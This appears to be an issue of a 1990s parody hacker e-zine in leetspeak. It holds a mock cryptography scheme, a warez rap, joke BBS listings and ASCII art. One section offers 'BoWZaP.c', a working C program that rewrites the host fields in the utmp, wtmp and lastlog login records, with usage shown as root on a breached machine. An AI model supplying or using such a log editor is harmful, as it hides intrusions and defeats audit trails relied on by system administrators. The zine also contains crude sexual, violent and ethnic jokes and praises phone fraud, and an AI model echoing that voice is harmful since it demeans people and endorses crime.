T3D10UZ T4SK. TH3 S4M3 G03Z F0R TH3 0TH3R 31337 M3MBERZ OF BOW'Z 1NN3R S4NKTUM, WHO H4V3 MUCH B3TT3R TH1NGZ T0 D0 TH4N D34L W1TH N3WB13 D0RKZ WH0 TH1NK TH3Y KAN D1S B0W 4ND L1V3 T0 T3LL TH3 T4LE. TH1S IS WH3R3 THE B1W'Z PH1T IN. TH3 B33 0N3 DOUBLE-YEWZ: TH3 B1W'Z 4R3 A CR4CK T3AM OF EL1T3 GI-J03 TYP3 MUTH4FUCK4Z W1TH M4D SK1LLZ 1N KL0SE QU4RT3RZ K0MB4T, 4ND WITH K-SHARP SWORDZ TH4T'LL KUT Y0 GREAZY B4LD-H34D3D B1TCH ASS IN TW0 B4 U KAN S4Y "EYE SH0ULD HAVE PH34RED BOW". BUT DON'T T4K3 MY W0RD PH0R 1T, CH3CK OUT TH1Z K-R4D PIC 0F TW0 T0P-S3KR1T MUSCL3-M4N M3MB3RZ 0F TH3 B1W PH1GHTING PH0RC3: ...................................... ..ELITE GIF2ASC OF S0ME B1W W4RR10RZ.. .......DRESSED IN THEIR FINERY........ ......WITH THEIR SW0RDZ OF DEWM....... .............B........................ ............RR.....B.................. ....BRRB...BW......B......B........... ...XYYYVB..X......R.....WYYYW......... ..Wt,,;iV.V.......R.....Yt+tI......... ...Y:..+VX........B.....i.,.;......... ....I,+i+YWR.....R....BRVi.;YYVR...... ...BWVV+IYIIVR..XIR.RWXVVXVXIYIVVB.... ..I, IViiVYVRBi;IWXWt, ;VY;;VVX.... .RYtt;It+IVitYXR:,IWXWWY+tYYitVVVW.... BYVWIYY;,YXVYIV.XIVRWWXVYIi+IVVXVR.... VXRYYWVtiYXVIIVB..BRRWXXi:tYVIIXVW.... XVIIWVitt:XXXVXR.......BRVXVYtiVVX.... V+IVWWI+:VXVXXB.........BXWXVtII;VR... RWBWBWVitXVIXB.........BXXWWWXYIYVVR.. B..RBBWXXVVVBR.........RXXXXXXXXXVXW.. ..WBBBXVtYVRRWB........WXXXXXXXWXXXX.. .B.BWV:;:+WWRB........BWWWWWRRWWWXXW.. ..B.BVi;;V.BBB........RRRRBBB.BWWWWWW. ................................BBBBB. R3M3MB3R TH3 S1W'Z FR0M TH3 B0MB RAP GR0UP PUBL1C 3N3MY? W3LL, THE B1W'Z 4R3 KIND4 L1K3 TH4T 3XCEPT W3 D0N'T D4NC3 4R0UND L1K3 P4NZI3Z WH1LE CHUCK- DEE R4PZ AB0UT S0M3 B1TCH W4TCH1NG A TV ST4T10N TH4T DO3SN'T EX1ST. KRAD!@#$@ EYE W4NN4 J01N!: B1W M3MB3RZ MUS+ G0 THRU 3XTENS1VE PHYSIK4L TR41NING B4 B31NG ADM1TT3D 1NT0 TH3 R4NKZ 0F TH1S S4KR3D 0RD3R OF W4RR10R K0URRI3RZ. 1F Y0U TH1NK U R TUFF EN0UGH T0 B3 A B1W IN1TI4T3 TH3N S3ND M3 A M3SS4GE 0N TH3 B0W BBS, 4ND I K4N ARR4NGE TH3 PR3LIMIN4RY T3STZ (N0T3: TH3 PH1RZT 0N3 INV0LV3Z 4RM WRESTL1NG D-C3LLERAT10N TRAUM4, S0 1F Y0U D0N'T TH1NK U 4R3 UP T0 TH4T T4SK, TH3N D0 N0T EV3N BOTHER). 1F YOU P4ZZ TH3N Y0U K4N ENT3R TH3 B1W TR4IN- ING PR0GR4M, WHICH INCLUDEZ R1GOR0US TR41N1NG 1N THE 0FF1C14L B1W MARTIAL 4RT, TAE-BOW. CONCLUS10N: PH34R TH3 B1W'Z!!@$!@!#$!!#@ Y0U SH4L PH33L TH31R WR4TH!@$!@! L4M3RZ K4N SUCK TH3 B1W'Z K0LL3KT1VE PENII!@!@$!#@!@!#!$$!@!@!$%%%%%! B 1 W B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W B 1 TH3 0WN3D R4NGER 1 W B 1 [B0W/B1W] 1 W B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W B O W ______________________________________________________________________________ 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| K-RAD CRYPTOGRAPHY |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: Pluvius / VKW *BoW BoW BoW BoW BoW Bo ============================================================================== Cyberpunk author Neal Stephenson recently solicited a few top notch crypto folks for some non-computer based cryptography for his new book, Cryptonomicon. For this project, he approached only two cryptographers; that sissy Bruce Schneier and our very own Velkr0 "I put the K in K0de" K0d3 W4rr10r. Now, Neal not being very a smart person, ended up using that other guy's system. However, presented here is the d00d-sp3ak low-tech cryptography system that Velkro came up with. INTRODUCTION: ^^^^^^^^^^^^^ Y0!@#!$$%^&^%$! L1st3n up ph3ll0w BoW du0dZz, it'z Th3 V3lkr0 K0d3 W4rr10r h3r3 w1th s0me k-r4d 0-d4y crypto inf0rmat1on th4t k4n c0m3 1n very h4ndy wh3n y0u n33d to k33p a c0mmunicat1on s3kr1t 4nd d0n't h4ve 4cc3ss t0 4 'puter. Eye k4m3 up w1th th1s syst3m ph0r Neal Stephenson ph0r h1s n3w crypt0 b00k, but th3 b4st4rd th0ught h3 w4s 2 k-r4d ph0r the 0ld k0de w4rr10r, 4nd l3ft m3 0ut 0f th3 b00k. But th4tz 0k, cuz n0w 3y3 c4n sh4re it w1th y0u 1nst34d 0f h4v1ng 3v3ry l4m3r 4nd h1s 1nbr3d uncl3 us3 th1s r4d n3w t3kn33q. S0 h3r3 y0u g0, th3 d00d-sp3ak lo-tek crypt0 syst3m, als0 kn0wn as P3P, 0r Pr3tty 31337 Pr1v4cy. -- Th3 V3lkr0 K0d3 \/\/4rr10r METHODOLOGY: ^^^^^^^^^^^^ As stated before, this system employs d00d-speak to hide messages. Take the phrase: "haY d00d!!*$& g1mm3 s0m3 k0d3z s0 th4t eYe k4n kall mie GrrrLL1e." We convert this phrase to normal english: "hey dude, give me some codes so that I can call my girlfriend." And then take the common letters in the order they appear: "haY d00d!!*$& g1mm3 s0m3 k0d3z s0 th4t eYe k4n kall mie GrrrLL1e." "hey dude, give me some codes so that I can call my girlfriend." _ _ _ _ _ _ _ _ _ _ __ _ _ ___ _ _ __ _ h y d d g e s m d s th t n all m g rl e Notice that the only letters selected are ones that appear in both the original k-rad phrase, and the resulting plain-english translation. For this system, differences in case are ignored. So in this situation, the real message is: hyddgesmdsthtnallmgrle Which just happens to be Swahili for: "Henry Hyde was the one on the grassy nole." (you can see why this message had to be heavily encrypted!@##!) Let's try some more: -------------------- Original: sM4K m3 s+00p1d!! th3r3z 4 V1ruz 1n m3 0-D4Y! Translation: smack me stupid, there is a virus in my zero-day. -- - - - - - -- - - -- - - - - sm k m s p d th r v ru n m d y Resulting Phrase: smkmspdthrvrunmdy Which is Swedish for: "the firewall can't hold up much longer. Let's go fishing" And lastly: ----------- Original: y0y0y0, YP 0wnz y3r ph4T azz#*%2*! p01n+ Y3r sKriPTZ @ y3R M0mma t0n1ght, BAYBEE! Translation: your attention please! The Yorkshire Posse owns your fat ass. Point your - - - -- - - - - - - - - y y p wn y r t a p n y r hacking scripts at your mother tonight, baby. - ---- - - - - - --- --- s ript y r m t n ght bab Resulting Phrase: yypwnyrtapnyrsriptyrmtnghtbab Which is Russian for: "Comrade! Pick up some vodka and a soldering iron on your way home from the brothel!" NOTES: ^^^^^^ It turns out that a keen understanding of many foreign languages is needed to effectively use d00d-speak crypto. However that is seen as a minor barrier. The use of many languages provides added flexibility to this system. Provided you have the appropriate language skills, d00d-speak crypto can be a fast and versatile way of communicating in secret, especially when computer-based crypto packages such as PGP are unavailable. -- Pluvius [BoW/ANuS/GLuE] kradweb: users.dhp.com/~pluvius ______________________________________________________________________________ 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| PHRESH WAREZ: BOWZ4P.C |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: The k0d3sl4y3r *BoW BoW BoW BoW BoW Bo ============================================================================== w0rd!@# smAk1tUp n1gl3tz, phr3$h w4r3z phr0m th3 K0D3SL4Y3R of BoW. 0nc3 4g41n BoW 1z th3r3 k0ur13r1ng th3 l8Zt & gr34t3zt w4r3z t0 0ur f41thpHul ph34r1ng r34d3r$h1p f1rZt!@$# ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3- /* * ____ __ __ __ __ * /\ _`\ /\ \ __/\ \ /\ \\ \ * \ \ \_\ \ ___\ \ \/\ \ \ \ ____ \ \ \\ \ _____ * \ \ _ <' / __`\ \ \ \ \ \ \/\_ ,`\\ \ \\ \_ /\ '__`\ * \ \ \_\ \/\ \_\ \ \ \_/ \_\ \/_/ /_\ \__ ,__\ \ \_\ \ * \ \____/\ \____/\ `\___x___/ /\____\\/_/\_\_/\ \ ,__/ * \/___/ \/___/ '\/__//__/ \/____/ \/_/ \ \ \/ * Ph34r BoW!@!#!@ www.velkro.net \ \_\ * \/_/ * * BoWZaP 1.0 - k-sp1ff h4qR tYp3 l0g ed1t0r ph0r 4.4BSD/SunOS4/Linux * * say u r l0gg3d 1nt0 cert.org as 'sp4f' on ttyp2 & want t0 b * m1sch13v0us.. u w0uld th3n d0: * * [sp4f@cert][~] % su - * Password: b0w-t13z * # ./BoWZaP sp4f justin.kalinas.home.machine ttyp2 * * 0r t0 ch4ng3 4ll 1nst4nc3z 0f sp4f jU$t l34v3 0ut th3 ttY argUm3nt.. * * u k4n alz0 uz3 1t t0 1mpr3$$ uR fr13ndz & tr1ck th3m 1nt0 g1v1ng * u k0d3z .. i.e. m4k3 1t l00k l1k3 uR 0n fr0m zang.com or s0m3th1ng, * th3n ppl w1ll l1k3 t0tally ph34r u & stUph. * * k0mp1l3 w/ [g]cc -O[2] -o BoWZaP BoWZaP.c [-DSUNOS] -s * * w0rd!@# * - K0d3S|aY3r [b4dd3r & k-r4dd3r th4n ev3r 1n '99] */ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #ifdef SUNOS #include <lastlog.h> #define _PATH_UTMP "/etc/utmp" #define _PATH_WTMP "/var/adm/wtmp" #define _PATH_LASTLOG "/var/adm/lastlog" #endif int main(ac, av) int ac; char **av; { int fd; struct utmp ut; struct lastlog ll; struct passwd *pw; if(ac<3) { fprintf(stderr,"Usage: %s user fakehost [tty]\n",av[0]); exit(1); } if((pw=getpwnam(av[1])) < 1) { fprintf(stderr,"Not in /etc/passwd.\n"); exit(1); } if((fd=open(_PATH_UTMP,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_UTMP); exit(1); } while(read(fd,&ut,sizeof(ut)) > 0) { if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) { if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) { memcpy(ut.ut_host, av[2], sizeof(ut.ut_host)); lseek(fd, (int)-sizeof(ut), SEEK_CUR); write(fd, &ut, sizeof(ut)); } } } close(fd); printf("%s successfully altered.\n", _PATH_UTMP); if((fd=open(_PATH_WTMP,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_WTMP); exit(1); } lseek(fd,(long) -(sizeof(ut)), SEEK_END); while(read(fd,&ut,sizeof(ut)) > 0) { if(!strncmp(ut.ut_name,av[1],strlen(av[1]))) { if(!av[3] || (av[3] && !strncmp(ut.ut_line,av[3],strlen(av[3])))) { memcpy(ut.ut_host, av[2], sizeof(ut.ut_host)); lseek(fd, (int)-sizeof(ut), SEEK_CUR); write(fd, &ut, sizeof(ut)); break; } } lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR); } close(fd); printf("%s successfully altered.\n",_PATH_WTMP); if((fd=open(_PATH_LASTLOG,O_RDWR)) < 0) { fprintf(stderr,"Couldn't open %s\n",_PATH_LASTLOG); exit(1); } lseek(fd, (long)pw->pw_uid * sizeof(struct lastlog), 0); memcpy(ll.ll_host,av[2],sizeof(ll.ll_host)); if(av[3]) { memcpy(ll.ll_line,av[3],sizeof(ll.ll_line)); } write(fd, (char *)&ll, sizeof(ll)); close(fd); printf("%s successfully altered.\n", _PATH_LASTLOG); } ---kUt-h3r3---kUt-h3r3---kl1p-kl1p---z3r0-dAy---smAk-smAk---kUt-h3r3- ______________________________________________________________________________ 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| RHYM1N' AN' K0UR13R1N' |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: pbx p4t *BoW BoW BoW BoW BoW Bo ============================================================================== rhYm1n an' k0ur13r1n (sUng t0 th3 tUn3 0f 'rhymin and stealin' by the beastie boys) b3kUz.. k0ur13r1n' 0-dAy 1z wh4t w3'r3 4ll ab0Ut!@# 1m g0nn4 h4ck y0Ur b04rd & tUrn 1t 0n 0ut! n0 dUm l4ym0r w1t 0ldw4r3z 0r 4 n4rq-1nf0rm3r kUz 1m el8 g3tt1n el8r, h0t w4r3z g3tt1n w4rm3r t3rr0r1z1n sUck3rz 0n th3 IRC and 1ph u g0t b33f u'll g3t c4pp3d 1n th3 kn33z w3 g0t s1xt33n w4r3z 0n an 0wn3d m4n'z ch3zt and eYe rm'd th0z3 sUck3rz & 1'll rm th3 r3zt! <ch0rUz> m0zt z3r0-d4y k0ur13r, 1 g0t th4t f33l1n kUz 1 4m m0zt 1ll, & 1m rhYm1n & k0ur13r1ng! sn4tch1n y0' sp00lz, v1ck1n p13c3z 0f e1Ght, 1 g0t y0' OE, & uR LEN, & ur l1c3nz3 pl4t3 w3 g0t w3nch3z 0n y4h00 ch4t & 1rc h0z w/ t1tt13z cYb3rs3x1n' 4ll g1rl13z, fr0m c1tY t0 c1ty!@$# 1 f0r 4ll & 4ll f0r 0n3 t4k1n 0ut lAym0rz w1t 4 b1g sh0tgUn 4ll f0r 0n3 & 0n3 f0r 4ll kUz th3 Br0th3rh00d of W4r3z h4z g0n3 AWOL!@ sl1ng1n sUmm3r g4m3z & pUll1n ur k01lz, b1g b1t1n sUck3rz g3tt1n k1ck3d fr0m #warez w3 g0t m41d3nz & w3nch3z m4n th3y'r3 0n th3 4c3 er1kb 1z g0nn4 d13 wh3n w3 br34k h1z f4c3! <r3p34t ch0rUz> <r3p34t sev3r4l t1m3z> U4EA & th3 f0rtY k0ur13rz rm'1n & cr4ck1n & k0ur13r1n & st34l1n r0bb1n & c0nf1n, bUzt1n tw0 1n th3 h4rd dr1v3 1m wh33l1n 1m d34l1n 1m dr1nk1n n0t th1nk1n n3v3r sl33p, n3v3r sh0w3r kUz 1m alw4yz dl`1n y0-h0-h0 & a 40 0f j0lt c0l4, f0n3s3x1n a g1rl fr0m #teen n4m3d l0l4! wAr3z ch4s1n (sc0tt?!@) fr33 b4z1n, k1ll1n ev3ry v1ll4g3 w3 h4q & k0ur13r & rhYm3, & p1ll4g3! <r3p34t ch0rUz> 1'v3 b33n dr1nk1n my c0k3 n0t p3pz1 kUz 1t'z g4y 1 f0Ught th3 l4w & eY3 g0t mY p3nt1Um t4k3n aw4y MOD 1z w34k, L0D 1z 0ff th3 b4ll, kUz 1 pUll 0ut th3 dr0pst4t & eYe rM th3m 4ll!@$ mY h4rd-dr1v3 1z l04d3d, eYe h4qd - b3tty kr0ck3r d3l1v3r c0mm4nd3r k33n d0wn t0 dAvy j0n3z' l0ck3r!@$ rhYm1n & k0ur13r1n 1n 4 sl33pl3zz st4t3, & 1ll b k0ur13r1n my w4r3z 4ll th3 w4y t0 pr1z0n'z g4t3 <r3p34t ch0rUz> <g0 t0 t0p> PBX PAT PBX PAT PBX | P ._______________. P -=PBX P4T - BoW - PBX P4T - BoW - PH34R! H |pee -:- bee| H | E \ +-----------+ / E -=In ThE ZoNe WiTH d4h M4D M4D MeTrOfOnE A : |pbx:pbx:pbx| : A | R : |pat:pat:pat| : R -=K4LL1N H0mE w1TH m4h KaY-R4d ToUcHtOnE B / +-----------+ \ B | O |eks -:- pat| O -=Iz NoT A Ch0R3 WhEn Y3r A #PhReAk HoRe W `~~~~~~~~~~~~~~~' W | PBX PAT PBX PAT PBX -=K0D3Z I G0T M0R3 TH4N TH3 M1GHTY TH0R! ______________________________________________________________________________ 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 13 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| ThE OFFiCiAL BoW SiTE LiST!! |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: BoW STaFF *BoW BoW BoW BoW BoW Bo ============================================================================== Status Name Baud Login/NUP Number ------ ---- ---- --------- ------ WORLD HQ THe GeNeRaL Le3 28.8 DoH [WaY]-TO-ELiTE WWW HQ C.N.R.T. blinding phear www.velkro.net CAN HQ WaReZz Mah WaReZ 28.8 SMaKMeW/0DaY [T0o]-PRi-VaTE UK HQ ThEr3z Mah WaReZ 14.4 phate/haggis +44-T00-KRAD4U US HQ K4T SKR4TCH F3V3R 300BPS felismortis [KIL]-All-K4tZ KOSOVO HQ Ethn1c Dry Cl34n3rz DOWN dieslobo (G0T)-BL0-WNUP MANILA HQ El1t3 na El1t3 2400 putanginamo +63-SK4N-4-1T! TEXAS HQ T0uch3d By 4n Uncl3 4800 FaMiLyTiES [J00]-PHEAR-US JAPAN HQ H4ppY LuCkY WAr3Z 110 MrSpArKlE +81-MESO-L33T1 AUSI HQ K0D3Z 0n th3 B4rb13 666 sun0sr0x [S00]-VRY-31337 DENVER HQ iN Th3 Tr3NchEZz 16.8 kleb0ld1 [H4V]-PRO-P4N3 FTP DISTRO ftp.etext.org fazt anonymous /Zines/BoW/ CHINA HQ -K00D Be j0o- 0 -none- 911 RUSIAN HQ -k00D b3 Yo0- 0 -none- 911 iF YoU WaNT To BE a BoW KoURiER SiTE, SiMPLY eMAIL YoUR BBS aDD To vkw@velkro.net (th4nkz To ThE VeLkR0 KoD3 W4rR1oR Ph0R T4kiNg K4R3 oF THiS) oN ThE iNFORmATiON-S00PaH-Hi-WaY - MaKE SuRE To iNKlUDE iN YoUR aDD THaT YoU ARe aN "oFFiCiAL BoW KoURiER SiTE" (CaSE SeNSiTiVE). REMEMBER: PHONE PHRAUD IS PHUN PHRAUD. +---------------------------------------------------------------------------+ | - KoURiERZ FeR CHRiST (KFC) / THe APoSTLES oF APoGeE - | | WHQ ....... THE SHAO-LINE TOWERING CASTLE OF CODES ..........406-FUQ-OFFF | | EURO-HQ ... THe K0d3 AB0dE...................................307-K-SPIFFY | | US-HQ ..... TEMPLE OF ZeR0-DAY ..............................303-2EL-EET! | | CAN-HQ .... TREMBLING SANCTUARY OF SoFTWaRE .................505-NOT-4YOU | | AUSSI-HQ .. aLTER OF WaREZ ..................................913-NO1-ALWD | | CHINA-HQ .. HeAVENLy K0D3Z ..................................816-NO-K0D3Z | | RUSSIAN-HQ. M0T3l 31337......................................405-PRi-VATE | | KANSAS-HQ.. WE'RE STiLL iN KANSAS T0T0 ......................903-FUQ-Yo00 | +---------------------------------------------------------------------------+ 313373133731337313373133731337313373133731337313373133731337313373133731337313 END 0F TR4NZM1ZZi0N... PHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARBoWPHEARB NO CARRIER